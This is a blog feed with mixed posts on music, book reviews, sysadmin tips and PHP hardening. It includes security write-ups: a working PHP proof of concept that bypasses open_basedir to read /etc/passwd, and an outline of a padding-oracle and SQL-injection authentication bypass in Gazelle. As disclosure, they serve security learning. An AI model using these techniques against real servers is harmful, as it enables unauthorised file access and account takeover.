<p>Then the calm before the storm, "Infinite bordedom", a one minute interlude of grainy piano under the rain,
announcing "Don't Keep Me Waiting", some sort of nihilist black metal track,
but with the noted presence of a saxophone and some clear touches of jazz. The presence of a whispered sample
from <a href="https://en.wikipedia.org/wiki/The_Minister">L’exercice de l’État</a>
has a gentle touch of <a href="https://www.metal-archives.com/bands/B%C3%A2%27a/3540445572">Ba'a</a>. Moving on
to "A Genuinely Benevolent Man", starting with synthesisers,
then a 4|4 kick resulting in something that could be on a <a href="https://en.wikipedia.org/wiki/VNV_Nation">VNV Nation</a> album.
Until it decays into something more raw, and when the shrieking vocals
are showing up, you didn't even realise that we've left the world of the darkwave
to return into the one of black metal.</p>
<p>"Paris or Me", dark and rainy, with bits of triptop percussion,
introducing "Could've, Should've, Would've", with tasteful hints of Depeche Mode, Dead Can Dance,
post-2000 Velvet Acid Christ, giving it a resolute tasteful darkwave-synth-pop-EBM
cocktail. The album ends with "Jusqu'au-boutiste", starting with some jazzy piano on a <a href="https://en.wikipedia.org/wiki/Bassline#Walking_bass">walking
bass</a>, turning into an ultra-saturated tremolo riff with blast beats,
and both worlds are alternating along the track, only interrupted by a very à
propos sample from <a href="https://en.wikipedia.org/wiki/Low_Down">Low Down</a>. It goes
on until the piano gets creepier and creepier, landing into strings,
morphing into dislocated tip-hop soul, beaching onto calm synthesisers,
and ending with raw black metal as background for electronic sounds.</p>
<p>As <a href="https://hypnoticdirgerecords.com/">Hypnotic Dirge Records</a>, the label on which the disc was produced, perfectly
summarised:</p>
<blockquote>
<p>The perfect soundtrack for late-night walks in the city. The material on
“Ingrats” is an all-out assault on the senses, a bitter pill that must be
swallowed as an accompaniment for self-reflection. An album which can connect
emotionally and leave you drained at the end.</p>
</blockquote>jvoisinSat, 18 Nov 2023 22:45:00 +0100tag:dustri.org,2023-11-18:/b/netra-ingrats.htmlmusicini_set based open_basedir bypasshttps://dustri.org/b/ini_set-based-open_basedir-bypass.html<p>This one was burned by <a href="https://twitter.com/Blaklis_">Blaklis</a> in 2019,
by being the expected solution for his
<a href="https://github.com/Blaklis/my-challenges/tree/master/phuck3">Phuck3</a> challenge
for InsomniHack Finals 2019, but has been known long before.</p>
<p>In the words of <a href="https://www.php.net/manual/en/ini.core.php#ini.open-basedir">PHP's documentation</a> on <code>open_basedir</code>:</p>
<blockquote>
<p>When a script tries to access the filesystem, for example using include,
or fopen(), the location of the file is checked. When the file is outside the
specified directory-tree, PHP will refuse to access it. All symbolic links are
resolved, so it's not possible to avoid this restriction with a symlink. If the
file doesn't exist then the symlink couldn't be resolved and the filename is
compared to (a resolved) open_basedir. </p>
<p>[…]</p>
<p>open_basedir is just an extra safety net, that is in no way comprehensive, and can therefore not be relied upon when security is needed. </p>
</blockquote>
<p>It has been more or less fixed in <a href="https://github.com/php/php-src/commit/ee9e07541f9f07762e3ee781102eea3a4190787c">March 2021</a>,
then again in <a href="https://github.com/php/php-src/commit/61e98bf35eb939bdd7b27ad7938f8549db2e1551">March 2023</a>,
and again in <a href="https://github.com/php/php-src/commit/9bcdf219ec6e8d6c2a55f1712b7d868b9129ef8d">July 2023</a>.
But I wouldn't be surprised if more low-hanging bypasses were lurking ;)</p>
<p>The crux of the bypass is that php didn't resolve relative paths both in
<code>ini_set</code> and when checking <code>php_check_open_basedir</code>:</p>
<div class="codehilite"><pre><span></span><code><span class="o"><?</span><span class="nx">php</span>
<span class="k">echo</span> <span class="nb">ini_get</span><span class="p">(</span><span class="s1">'open_basedir'</span><span class="p">);</span> <span class="c1">// /var/www/html</span>
<span class="nb">mkdir</span><span class="p">(</span><span class="s1">'./tmp'</span><span class="p">);</span>
<span class="nb">chdir</span><span class="p">(</span><span class="s1">'./tmp'</span><span class="p">);</span>
<span class="nb">ini_set</span><span class="p">(</span><span class="s1">'open_basedir'</span><span class="p">,</span> <span class="s1">'..'</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="nv">$i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="nv">$i</span> <span class="o"><=</span> <span class="mi">24</span><span class="p">;</span> <span class="nv">$i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="nb">chdir</span><span class="p">(</span><span class="s1">'..'</span><span class="p">);</span>
<span class="p">}</span>
<span class="nb">ini_set</span><span class="p">(</span><span class="s1">'open_basedir'</span><span class="p">,</span><span class="s1">'/'</span><span class="p">)</span>
<span class="k">echo</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="s2">"/etc/passwd"</span><span class="p">);</span>
</code></pre></div>jvoisinFri, 03 Nov 2023 16:30:00 +0100tag:dustri.org,2023-11-03:/b/ini_set-based-open_basedir-bypass.htmlphpBook review: Locksport - A Hacker’s Guide to Lockpicking, Impressioning, and Safe Crackinghttps://dustri.org/b/book-review-locksport-a-hackers-guide-to-lockpicking-impressioning-and-safe-cracking.html<p><a href="https://nostarch.com/locksport"><img alt="Locksport's cover" src="https://dustri.org/b/images/locksport.png"></a></p>
<p>I'm starting to feel guilty about getting ebooks for free from
<a href="https://nostarch.com/about">No Starch Press</a>, but apparently they're happy to
send them my way in exchange for a review, so I won't complain.</p>
<p>Anyway, I got a copy of the early access version <a href="https://nostarch.com/locksport">Locksport - A Hacker’s Guide to Lockpicking,
Impressioning, and Safe Cracking</a>!
It's obviously a book about lockpicking, but, as <em>hinted</em> by its name,
from the <a href="https://www.lockwiki.com/index.php/Locks port">sport</a> angle.</p>
<p>I'm not completely clueless when it comes to picking locks, but I've always been
mediocre at best, since I never really put the effort into practising anything
but the basics. This was thus a great opportunity for a deeper dive!
So I got myself a <a href="https://covertinstruments.com/collections/lockpicks/products/genesis-lock-pick">proper set of picks</a>,
3 cutaway training locks <a href="https://www.sparrowslockpicks.com/products/cut-away-lock-serrated-pins">one with serrated pins</a>,
<a href="https://www.sparrowslockpicks.com/products/cut-away-lock-spool-pins">with spool pins</a>,
and <a href="https://www.sparrowslockpicks.com/products/cut-away-lock-check-pins">one with stupid chess pieces pins</a>,
and a couple of locks/padlocks from my local locksmith, and dove into the book!</p>
<p>I was a bit curious about its content, since I didn't bother reading the table of contents,
and was expecting a pile of techniques to open <a href="https://en.wikipedia.org/wiki/Wafer_tumbler_lock">wafer tumbler locks</a>
in the fastest way possible. But the book is so much more than that, with
historical perspectives, a bit of legalese, the proper etiquette to participate in lockpicking
competitions and how to organise one, anecdotes, mechanical details and
resources for those who <a href="https://en.wikipedia.org/wiki/Starship_Troopers_(film)">would like to know
more</a>, how to tear
apart, modify, take care of, and reassemble locks, where to get equipment,
how to <a href="https://www.lockwiki.com/index.php/Impressioning">impression keys</a>,
details on <a href="https://en.wikipedia.org/wiki/Lever_tumbler_lock">lever tumbler locks</a>
and <a href="https://en.wikipedia.org/wiki/Safe">vaults</a>,
…</p>
<p>The part about wafer locks, while interesting, doesn't really go much further
than some basic techniques for entry-level <a href="https://lockwiki.com/index.php/Security_pin#Security_pin_illustrations">security pins</a>,
but I guess practise is the only way to learn how to handle anything non-trivial anyway.
On the other hand, the part about lever locks was highly entertaining,
since those are really weird compared to the <em>usual</em> locks,
and I didn't know much about them.</p>
<p>I recently gifted myself a <a href="https://www.sparrowslockpicks.com/products/challenge-vault">Sparrow's challenge vault</a> for my birthday,
and was thus highly delighted to discover that the book has a whole section
on <a href="https://en.wikipedia.org/wiki/Safe-cracking">safe manipulation</a>; which is
fortunate since the instructions coming with the vault are <s>pure garbage</s>
confusing at best.</p>
<p>The only issue I had with the book is that while it's full of gorgeous colourful
pictures, like the small marks left by pins during key impressioning,
they are unfortunately barely legible on my
<a href="https://www.pocketbook-int.com/ge/products/pocketbook-inkpad-3">Pocketbook InkPad 3</a>,
so I'd recommend getting the paperback version if you don't have a 𝖙𝖗𝖚𝖊𝖈𝖔𝖑𝖔𝖗 4𝖐
𝕳𝕯𝕽 e-reader.</p>
<p>All in all, it's a really great self-contained book for newcomers and beginners,
entertaining, detailed, … and doing a tremendous job at making
lockpicking competitions look cool yet accessible! It was also a nice motivation booster for me to
tackle harder locks.</p>
<p>If you already know your way around locks, you might want to look at <a href="https://www.barnesandnoble.com/w/high-security-mechanical-locks-graham-pulford/1111341233">High-Security Mechanical Locks: An
Encyclopedic
Reference</a> instead.</p>jvoisinFri, 20 Oct 2023 18:00:00 +0200tag:dustri.org,2023-10-20:/b/book-review-locksport-a-hackers-guide-to-lockpicking-impressioning-and-safe-cracking.htmlbook_reviewsAuthentication bypass on What.CD's Gazellehttps://dustri.org/b/authentication-bypass-on-whatcds-gazelle.html<p><a href="https://en.wikipedia.org/wiki/What.CD">What.CD</a> has been dead since 2016, and
hopefully <a href="https://github.com/OPSnet/Gazelle/blob/master/app/Util/Crypto.php">nobody</a>
is using <a href="https://github.com/WhatCD/Gazelle">Gazelle</a>,
their "web framework geared towards private BitTorrent tracker" anymore.
I've been sitting on this one for years, I know I wasn't the only one,
and it's not the only low-hanging vulnerability lurking there.</p>
<p>Rolling your own blunt is alright, rolling your own authentication scheme
less so: there is a trivial <a href="https://en.wikipedia.org/wiki/Padding_oracle_attack">padding oracle</a>
in the <a href="https://github.com/WhatCD/Gazelle/blob/master/classes/encrypt.class.php#L24">homegrown crypto scheme</a>:</p>
<div class="codehilite"><pre><span></span><code><span class="k">public</span> <span class="k">function</span> <span class="nf">decrypt</span><span class="p">(</span><span class="nv">$CryptStr</span><span class="p">,</span> <span class="nv">$Key</span> <span class="o">=</span> <span class="nx">ENCKEY</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$CryptStr</span> <span class="o">!=</span> <span class="s1">''</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$IV</span> <span class="o">=</span> <span class="nb">substr</span><span class="p">(</span><span class="nb">base64_decode</span><span class="p">(</span><span class="nv">$CryptStr</span><span class="p">),</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span>
<span class="nv">$CryptStr</span> <span class="o">=</span> <span class="nb">substr</span><span class="p">(</span><span class="nb">base64_decode</span><span class="p">(</span><span class="nv">$CryptStr</span><span class="p">),</span> <span class="mi">16</span><span class="p">);</span>
<span class="k">return</span> <span class="nb">trim</span><span class="p">(</span><span class="nb">mcrypt_decrypt</span><span class="p">(</span><span class="nx">MCRYPT_RIJNDAEL_128</span><span class="p">,</span> <span class="nv">$Key</span><span class="p">,</span> <span class="nv">$CryptStr</span><span class="p">,</span> <span class="nx">MCRYPT_MODE_CBC</span><span class="p">,</span> <span class="nv">$IV</span><span class="p">));</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="k">return</span> <span class="s1">''</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>leading to an <a href="https://github.com/WhatCD/Gazelle/blob/master/classes/ajax_start.php#L23-L31">authentication bypass via a SQL injection</a>:</p>
<div class="codehilite"><pre><span></span><code><span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="p">[</span><span class="s1">'session'</span><span class="p">]))</span> <span class="p">{</span>
<span class="nv">$LoginCookie</span> <span class="o">=</span> <span class="nv">$Enc</span><span class="o">-></span><span class="na">decrypt</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="p">[</span><span class="s1">'session'</span><span class="p">]);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$LoginCookie</span><span class="p">))</span> <span class="p">{</span>
<span class="k">list</span><span class="p">(</span><span class="nv">$SessionID</span><span class="p">,</span> <span class="nv">$UserID</span><span class="p">)</span> <span class="o">=</span> <span class="nb">explode</span><span class="p">(</span><span class="s2">"|~|"</span><span class="p">,</span> <span class="nv">$Enc</span><span class="o">-></span><span class="na">decrypt</span><span class="p">(</span><span class="nv">$LoginCookie</span><span class="p">));</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$UserID</span> <span class="o">||</span> <span class="o">!</span><span class="nv">$SessionID</span><span class="p">)</span> <span class="p">{</span>
<span class="k">die</span><span class="p">(</span><span class="s1">'Not logged in!'</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$Enabled</span> <span class="o">=</span> <span class="nv">$Cache</span><span class="o">-></span><span class="na">get_value</span><span class="p">(</span><span class="s2">"enabled_</span><span class="si">$UserID</span><span class="s2">"</span><span class="p">))</span> <span class="p">{</span>
<span class="k">require</span><span class="p">(</span><span class="nx">SERVER_ROOT</span><span class="o">.</span><span class="s1">'/classes/mysql.class.php'</span><span class="p">);</span> <span class="c1">//Require the database wrapper</span>
<span class="nv">$DB</span> <span class="o">=</span> <span class="k">NEW</span> <span class="nx">DB_MYSQL</span><span class="p">;</span> <span class="c1">//Load the database wrapper</span>
<span class="nv">$DB</span><span class="o">-></span><span class="na">query</span><span class="p">(</span><span class="s2">"</span>
<span class="s2"> SELECT Enabled</span>
<span class="s2"> FROM users_main</span>
<span class="s2"> WHERE ID = '</span><span class="si">$UserID</span><span class="s2">'"</span><span class="p">);</span>
<span class="k">list</span><span class="p">(</span><span class="nv">$Enabled</span><span class="p">)</span> <span class="o">=</span> <span class="nv">$DB</span><span class="o">-></span><span class="na">next_record</span><span class="p">();</span>
<span class="nv">$Cache</span><span class="o">-></span><span class="na">cache_value</span><span class="p">(</span><span class="s2">"enabled_</span><span class="si">$UserID</span><span class="s2">"</span><span class="p">,</span> <span class="nv">$Enabled</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="k">die</span><span class="p">(</span><span class="s1">'Not logged in!'</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div>
<p>Conveniently, the oracle doesn't touch the database, is completely stateless,
and only shows up in the httpd/reverse-proxy's logs, which shouldn't log the cookies'
content, making forensic analysis nigh impossible. Once you're admin, there are
a bunch of available SQL injections, like in
<a href="https://github.com/WhatCD/Gazelle/blob/master/sections/reportsv2/takeresolve.php"><code>takerevolve.php</code></a>.
From there, remote code execution is doable, but left as an exercise for the
reader.</p>jvoisinFri, 13 Oct 2023 19:45:00 +0200tag:dustri.org,2023-10-13:/b/authentication-bypass-on-whatcds-gazelle.htmlsecurityVideo acceleration in Jellyfin inside a Proxmox containerhttps://dustri.org/b/video-acceleration-in-jellyfin-inside-a-proxmox-container.html<p>For various reasons, including "video decoding is hard", "your web browser hates you"
and "watching movies on a phone over 3G is a basic human necessity",
enabling hardware-accelerated video decoding in <a href="https://jellyfin.org">Jellyfin</a>
is a desirable goal if you don't want your CPU to set your house on fire. </p>
<p>To attain it, one can mess around <a href="https://github.com/ddimick/proxmox-lxc-idmapper">cryptic gid mappings</a>,
but granting every user on the hypervisor the right to read/write <code>/dev/dri/renderD128</code> and
<code>/dev/dri/card0</code> is way easier, and it looks like this:</p>
<div class="codehilite"><pre><span></span><code><span class="gp"># </span>cat<span class="w"> </span>><span class="w"> </span>/etc/udev/rules.d/99-intel-chmod666.rules<span class="w"> </span><<<span class="w"> </span><span class="s1">'EOF'</span>
<span class="go">KERNEL=="renderD128", MODE="0666"</span>
<span class="go">KERNEL=="card0", MODE="0666"</span>
<span class="go">EOF</span>
<span class="gp"># </span>udevadm<span class="w"> </span>control<span class="w"> </span>--reload-rules<span class="w"> </span><span class="o">&&</span><span class="w"> </span>udevadm<span class="w"> </span>trigger
<span class="gp">#</span>
</code></pre></div>
<p>It doesn't really worsen security, since:
- the devices are only mounted inside my jellyfin container, which would have
the same privileges as if I used gid mapping.
- odds are that an attacker able to get a shell on the hypervisor wouldn't
really need to have r/w access to the two devices to escalate their
privileges anyway, since they would either be:
- root already to escape from a container
- root already to escape from a vm
- whatever proxmox user and likely able to escalate to <code>root</code> trivially
- other users are sandboxed via systemd and/or seccomp.</p>
<p>Speaking of mounting things inside the container:</p>
<div class="codehilite"><pre><span></span><code><span class="gp"># </span>cat<span class="w"> </span>><span class="w"> </span>/etc/pve/lxc/114.conf<span class="w"> </span><<<span class="w"> </span><span class="s1">'EOF'</span>
<span class="go">lxc.cgroup2.devices.allow: c 226:0 rwm</span>
<span class="go">lxc.cgroup2.devices.allow: c 226:128 rwm</span>
<span class="go">lxc.mount.entry: /dev/dri dev/dri none bind,optional,create=dir</span>
<span class="go">lxc.mount.entry: /dev/dri/renderD128 dev/renderD128 none bind,optional,create=file</span>
<span class="go">EOF</span>
<span class="gp">#</span>
</code></pre></div>
<p>You can now run <code>vainfo</code> inside the container and be delighted by the
presence of the <a href="https://en.wikipedia.org/wiki/Video_Acceleration_API">VA-API</a> version number:</p>
<div class="codehilite"><pre><span></span><code><span class="gp"># </span>vainfo<span class="w"> </span><span class="m">2</span>>/dev/null<span class="w"> </span><span class="p">|</span><span class="w"> </span>head<span class="w"> </span>-n<span class="w"> </span><span class="m">1</span>
<span class="go">libva info: VA-API version 1.17.0</span>
<span class="gp">#</span>
</code></pre></div>
<p>The last step is to tick all the boxes in <a href="https://jellyfin.org/docs/general/administration/hardware-acceleration/">Jellyfin's
preferences</a>
and you're good to go. Don't forget to make some space on the disk for the
transcoding cache, at least until <a href="https://github.com/jellyfin/jellyfin/pull/8744">this</a>
makes its way into a release.</p>jvoisinSun, 01 Oct 2023 22:15:00 +0200tag:dustri.org,2023-10-01:/b/video-acceleration-in-jellyfin-inside-a-proxmox-container.htmlsysadminPaper notes: Breaking Bad: Quantifying the Addiction of Web Elements to JavaScripthttps://dustri.org/b/paper-notes-breaking-bad-quantifying-the-addiction-of-web-elements-to-javascript.html<p><a href="https://arxiv.org/pdf/2301.10597.pdf">PDF</a>, <a href="https://dustri.org/b/files/papers/breaking_bad.pdf">local mirror</a></p>
<p>More or less all conversations involving the <a href="https://www.torproject.org/download/">tor browser</a>
will at some point contain the following line: "No, javascript isn't disabled
by default because too many sites would break. You can always crank the
security slider all the way up if you want tho."</p>
<p>We all agree that javascript enables all sorts of despicable behaviours making
the web a nightmare-material privacy/security cesspit and completely
inscrutable to a lot of users, so having research done
to quantify how to make it a better place for everyone is always more than welcome.</p>
<p>The main idea of the paper is to load pages from the <a href="https://hispar.cs.duke.edu/">Hispar
set</a> with and without <code>javascript.enabled</code> set,
via <a href="https://pptr.dev">Puppeteer</a>, and to perform
magic human-assisted smart diffing to detect user-perceived/perceivable
breakages. </p>
<p>The paper is full of fancy graphs and analysis, but the <a href="https://en.wikipedia.org/wiki/TL;DR">tldr</a> is:</p>
<blockquote>
<p>We discover that 43 % of web pages are not strictly dependent on JavaScript
and that more than 67 % of pages are likely to be usable as long as the visitor
only requires the content from the main section of the page, for which the user
most likely reached the page, while reducing the number of tracking requests by
85 % on average.</p>
</blockquote>
<p>An interesting take is that the usage of javascript framework is the main
source of breakage, since <s>a lot</s> all of them result in completely
unusable websites when javascript is disabled. Moreover, anecdotal data seems
to suggest that the bigger a company is, the more their website is going to
break when javascript is disabled.</p>
<p>And like every decent paper, it comes with the <a href="https://gitlab.inria.fr/Spirals/breaking-bad">related code and data published</a>.</p>jvoisinTue, 26 Sep 2023 17:15:00 +0200tag:dustri.org,2023-09-26:/b/paper-notes-breaking-bad-quantifying-the-addiction-of-web-elements-to-javascript.htmlpaper_notesSnuffleupagus 0.10.0 - Babar the Elephanthttps://dustri.org/b/snuffleupagus-0100-babar-the-elephant.html<p><a href="https://snuffleupagus.readthedocs.org"><img alt="snuffleupagus logo" src="https://dustri.org/b/images/sp.png"></a></p>
<p>I just published a new release of
<a href="https://github.com/jvoisin/snuffleupagus/releases/tag/v0.10.0">Snuffleupagus</a>,
the hardening module for php7+ and php8+,
version <code>0.9.0</code>, codename "Babar the Elephant",
named the <a href="https://en.wikipedia.org/wiki/Babar_the_Elephant">eponymous character</a>.
The main new feature is the PHP8.3 support, but there are a couple of
quality-of-life improvements for people using Snuffleupagus with fuzzers as
well.</p>
<h3>Changelog</h3>
<ul>
<li>Compatibility with PHP8.3</li>
<li>Add <code>sp.log_max_len</code> to limit the maximum size of the log messages</li>
<li>Add an example configuration for Xenforo 2.2.12 </li>
<li>Url encode functions arguments when logging them</li>
<li>Fix a possible NULL-byte truncation when outputting parameters in the logs</li>
<li>Make <code>readonly_exec</code> play nice on readonly filesystems </li>
</ul>
<p>As usual, if you want to help, we have some
<a href="https://github.com/jvoisin/snuffleupagus/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue%22">low hanging fruits</a> ♥</p>
<p>See you in your PHP stack!</p>jvoisinWed, 20 Sep 2023 15:25:00 +0200tag:dustri.org,2023-09-20:/b/snuffleupagus-0100-babar-the-elephant.htmlphpSome notes on "Randomized slab caches for kmalloc()"https://dustri.org/b/some-notes-on-randomized-slab-caches-for-kmalloc.html<p>Ruiqi Gong and Xiu Jianfeng got their
<a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=3c6152940584290668b35fa0800026f6a1ae05fe">Randomized slab caches for kmalloc()</a>
patch series merged upstream, and I've had enough discussions about it to
warrant summarising them into a small blogpost.</p>
<p>The main idea is to have multiple slab caches, and pick one at random based on
the address of code calling <code>kmalloc()</code> and a per-boot seed, to make heap-spraying harder.
It's a great idea, but comes with some shortcomings for now:</p>
<ul>
<li>Objects being allocated via wrappers around <code>kmalloc()</code>, like <code>sock_kmalloc</code>,
<code>f2fs_kmalloc</code>, <code>aligned_kmalloc</code>, … will end up in the same slab cache.</li>
<li>The slabs needs to be pinned, otherwise an attacker could <a href="https://en.wikipedia.org/wiki/Heap_feng_shui">feng-shui</a> their way
into having the whole slab free'ed, garbage-collected, and have a slab for
another type allocated at the same VA. <a href="https://thejh.net/">Jann Horn</a> and <a href="https://infosec.exchange/@nspace">Matteo Rizzo</a> have a <a href="https://github.com/torvalds/linux/compare/master...thejh:linux:slub-virtual-upstream">nice
set of patches</a>,
discussed a bit in <a href="https://googleprojectzero.blogspot.com/2021/10/how-simple-linux-kernel-memory.html">this Project Zero blogpost</a>,
for a feature called <a href="https://github.com/torvalds/linux/commit/f3afd3a2152353be355b90f5fd4367adbf6a955e"><code>SLAB_VIRTUAL</code></a>,
implementing precisely this.</li>
<li>There are 16 slabs by default, so one chance out of 16 to end up in the same
slab cache as the target.</li>
<li>There are no guard pages between caches, so inter-caches overflows are
possible.</li>
<li>As pointed by <a href="https://twitter.com/andreyknvl/status/1700267669336080678">andreyknvl</a>
and <a href="https://infosec.exchange/@minipli/111045336853055793">minipli</a>,
the fewer allocations hitting a given cache means less noise,
so it might even help with some heap feng-shui.</li>
<li>minipli also pointed that "randomized caches still freely
mix kernel allocations with user controlled ones (<code>xattr</code>, <code>keyctl</code>, <code>msg_msg</code>, …).
So even though merging is disabled for these caches, i.e. no direct overlap
with <code>cred_jar</code> etc., other object types can still be targeted (<code>struct
pipe_buffer</code>, BPF maps, its verifier state objects,…). It’s just a matter of
probing which allocation index the targeted object falls into.",
but I considered this out of scope, since it's much more involved;
albeit something like Jann Horn's <a href="https://github.com/thejh/linux/blob/slub-virtual/MITIGATION_README"><code>CONFIG_KMALLOC_SPLIT_VARSIZE</code></a>
wouldn't significantly increase complexity.</li>
</ul>
<p>Also, while code addresses as a source of entropy has historically be a great
way to provide <a href="https://lwn.net/Articles/569635/">KASLR</a> bypasses, <code>hash_64(caller ^
random_kmalloc_seed, ilog2(RANDOM_KMALLOC_CACHES_NR + 1))</code> shouldn't trivially
leak offsets.</p>
<p>The segregation technique is a bit like a weaker version of grsecurity's
<a href="https://grsecurity.net/how_autoslab_changes_the_memory_unsafety_game">AUTOSLAB</a>,
or a weaker kernel-land version of
<a href="https://chromium.googlesource.com/chromium/src/+/master/base/allocator/partition_allocator/PartitionAlloc.md">PartitionAlloc</a>,
but to be fair, making use-after-free exploitation harder, and significantly
harder once pinning lands, with only ~150 lines of code and negligible
performance impact is amazing and should be praised. Moreover, I wouldn't be
surprised if this was backported in <a href="https://google.github.io/security-research/kernelctf/rules.html">Google's KernelCTF</a>
soon, so we should see if my analysis is correct.</p>jvoisinMon, 11 Sep 2023 01:45:00 +0200tag:dustri.org,2023-09-11:/b/some-notes-on-randomized-slab-caches-for-kmalloc.htmlsecurityMaking use of pygments' filters with Pelicanhttps://dustri.org/b/making-use-of-pygments-filters-with-pelican.html<p>I've been using <a href="https://github.com/getpelican/pelican">Pelican</a>
more or less since the beginning of this blog and I'm still
pretty happy about it. Mostly because of how <a href="https://boringtechnology.club">boring</a>
it is, and its complete absence of fundamental changes thorough the years.</p>
<p>Anyway, I was looking at how to reduce the size of the pages of my blog
and looked at how code is syntactically highlighted:
Pelican is using <a href="https://pygments.org">Pygments</a> to do this,
and looking at its documentation, the <a href="https://pygments.org/docs/filters/#TokenMergeFilter">TokenMergeFilter</a>
should help a bit, by merging token of the same type together,
instead of highlighting them separately.</p>
<p>Pelican's documentation <a href="https://docs.getpelican.com/en/stable/settings.html">says</a>
that options can be passed to python-markdown like this:
<code>MARKDOWN = { 'extension_configs': { 'markdown.extensions.codehilite': {'css_class': 'highlight'} } }</code>.</p>
<p>Looking at <a href="https://python-markdown.github.io/">python-markdown</a>'s <a href="https://python-markdown.github.io/reference/#markdown">one</a>,
one can pass various things as parameters, but it doesn't mention filters.
<a href="https://pygments.org/docs/filters/">Pygments documentation on this topic</a> implies
that the only way to add filters is to use the <code>add_filter</code> method on a lexer.</p>
<p>But <a href="https://github.com/pygments/pygments/blob/master/pygments/lexer.py">looking at the code</a>
as suggested <a href="https://github.com/Python-Markdown/markdown/issues/1322#issuecomment-1453911760">here</a>,
filters can be passed like any other options, meaning that one only needs to
add the following code into the <code>pelicanconf.py</code> file to used the
<code>TokenMergeFilter</code>:</p>
<div class="codehilite"><pre><span></span><code><span class="kn">from</span> <span class="nn">pelican</span> <span class="kn">import</span> <span class="n">TokenMergeFilter</span>
<span class="n">MARKDOWN</span> <span class="o">=</span> <span class="p">{</span>
<span class="s1">'extension_configs'</span><span class="p">:</span> <span class="p">{</span>
<span class="s1">'markdown.extensions.codehilite'</span><span class="p">:</span> <span class="p">{</span>
<span class="s1">'filters'</span><span class="p">:</span> <span class="p">[</span><span class="n">TokenMergeFilter</span><span class="p">()]</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span><span class="err">`</span><span class="o">.</span>
</code></pre></div>
<p>Totally worth the effort for a marginal page size reduction!</p>jvoisinFri, 01 Sep 2023 18:30:00 +0200tag:dustri.org,2023-09-01:/b/making-use-of-pygments-filters-with-pelican.htmlwebBook review: Hacks, Leaks, and Revelationshttps://dustri.org/b/book-review-hacks-leaks-and-revelations.html<p><a href="https://nostarch.com/hacks-leaks-and-revelations"><img alt="Hacks, Leaks, and Revelations cover" src="https://dustri.org/b/images/HacksLeaksReveleations.png"></a></p>
<p>Last month, I got an email <a href="https://nostarch.com/about">from Briana Blackwell from No Starch Press</a>'s marketing department,
telling me that <a href="https://hacksandleaks.com/">Hacks, Leaks, and Revelations: The Art of Analyzing Hacked and Leaked Data</a>
by <a href="https://micahflee.com/">Micah Lee</a>
was available in <em>early access</em>, and that they'd be happy to send me an ebook
copy free of charge!</p>
<p>From the couple of interactions I had with him, Lee is not only a great human being,
but also technically literate. He's the director of information security
at <a href="https://theintercept.com/staff/micah-lee/">The Intercept</a>, and the person
behind <a href="https://onionshare.org/">OnionShare</a> and <a href="https://dangerzone.rocks/">DangerZone</a>;
so I was thrilled to finally get my hands on his book!</p>
<p>And what a great one it is! It's a complete course for everyone who want to learn how to properly deal with and report on large data sets like leaks:
How to communicate with sources along with some notions of <a href="https://en.wikipedia.org/wiki/Operations_security">opsec</a>,
some words on the ethics of dealing with this kind of data,
how to get data leaks and how to analyse them
properly and safely, wrangling tools like
<a href="https://github.com/freedomofpress/dangerzone">dangerzone</a>,
a <a href="https://en.wikipedia.org/wiki/BitTorrent">BitTorrent</a> client,
<a href="https://signal.org">Signal</a>,
<a href="https://torproject.org">Tor</a> via the <a href="https://www.torproject.org/download/">Tor Browser</a> and
<a href="https://onionshare.org/">Onionshare</a>,
some <a href="https://en.wikipedia.org/wiki/Linux">linux</a> and <a href="https://en.wikipedia.org/wiki/Shell_(computing)">shell</a> basics,
a crash course into data analysis with <a href="https://python.org">Python</a> and <a href="https://en.wikipedia.org/wiki/SQL">SQL</a>,
the <a href="https://occrp.org/en">OCCRP</a>'s <a href="https://docs.aleph.occrp.org/">Aleph</a>,
…
with hands-on exercises and reporting examples based on real leaks like
<a href="https://en.wikipedia.org/wiki/2021_Epik_data_breach">EpikFail</a>,
<a href="https://en.wikipedia.org/wiki/BlueLeaks">BlueLeaks</a>,
the <a href="https://apnews.com/article/oath-keepers-leaked-membership-rolls-2ca4195ed3a10e45dd189bf98f3e5a26">Oath Keepers leak</a>,
<a href="https://discordleaks.unicornriot.ninja/discord/">Unicorn Riot's DiscordLeaks</a>,
<a href="https://theintercept.com/2021/09/28/covid-telehealth-hydroxychloroquine-ivermectin-hacked/">AFLDS</a>,
he <a href="https://www.databreaches.net/heritage-foundation-wasnt-attacked-they-leaked-their-own-data/">Heritage Foundation emails</a>,
…</p>
<p>It's a comprehensive yet highly digestible resource that I would wholeheartedly
recommend to anyone remotely interested by modern journalism practises. Hacked
and dumped databases are all around the internet, waiting to be analysed, reported on,
contextualised and exposed, and with this book, anyone could help with
the effort of making the world a better place: sunlight is the best
disinfectant!</p>jvoisinWed, 16 Aug 2023 16:15:00 +0200tag:dustri.org,2023-08-16:/b/book-review-hacks-leaks-and-revelations.htmlbook_reviewsmat2 0.13.4https://dustri.org/b/mat2-0134.html<p>There is a new minor version of mat2:
<a href="https://0xacab.org/jvoisin/mat2/tags/0.13.4">0.13.4</a>. No ground breaking
changes, only minor improvements, code modernisation and a bit of hardening:</p>
<ul>
<li>Add documentation about mat2 on OSX</li>
